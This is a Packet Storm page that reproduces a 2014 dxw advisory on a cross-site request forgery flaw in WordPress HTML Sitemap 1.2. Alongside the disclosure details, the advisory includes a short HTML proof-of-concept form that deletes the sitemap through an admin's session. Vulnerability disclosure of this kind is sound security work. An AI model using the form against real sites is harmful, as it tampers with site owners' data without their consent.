exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress HTML Sitemap 1.2 Cross Site Request Forgery

WordPress HTML Sitemap 1.2 Cross Site Request Forgery
Posted Mar 28, 2014
Authored by Tom Adams

WordPress HTML Sitemap version 1.2 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | 201994735e80fa917f6e5059cc2ed56952c108819c09e3f473ea49a528417d57

WordPress HTML Sitemap 1.2 Cross Site Request Forgery

Change Mirror Download
Details
================
Software: WP HTML Sitemap
Version: 1.2
Homepage: http://wordpress.org/plugins/wp-html-sitemap/
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

Description
================
CSRF vulnerability in WP HTML Sitemap 1.2

Vulnerability
================
A CSRF vulnerability exists which allows an attacker to delete the
sitemap if a logged-in admin user visits a link of the attacker’s choosing.
Line 202 of inc/AdminPage.php says “// check whether form was just
submitted” but the following if/elseif statements only check whether a
particular button was pressed without checking nonce values. The form in
question is printed in wp_html_sitemap_AdminPage::createSitemapForm()
around line 146 of the same file.

Proof of concept
================
This form deletes the sitemap without requiring a nonce value:
<form
action="http://not-a-real-site.local/wp-admin/options-general.php?page=wp-html-sitemap&tab=general"
method="POST">
<input type="text" name="deleteSitemap" value="Delete Sitemap">
<input type="submit">
</form>

Mitigations
================
Disable the plugin until a fix is available.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our
disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you
received it via a third party (for example, plugins@wordpress.org) as
they generally cannot communicate with us on your behalf.

Please note that this vulnerability will be published if we do not
receive a response to this report with 14 days.

Timeline
================

2014-02-21: Discovered
2014-02-26: Reported
2014-03-28: No response received. Published


Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.




Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close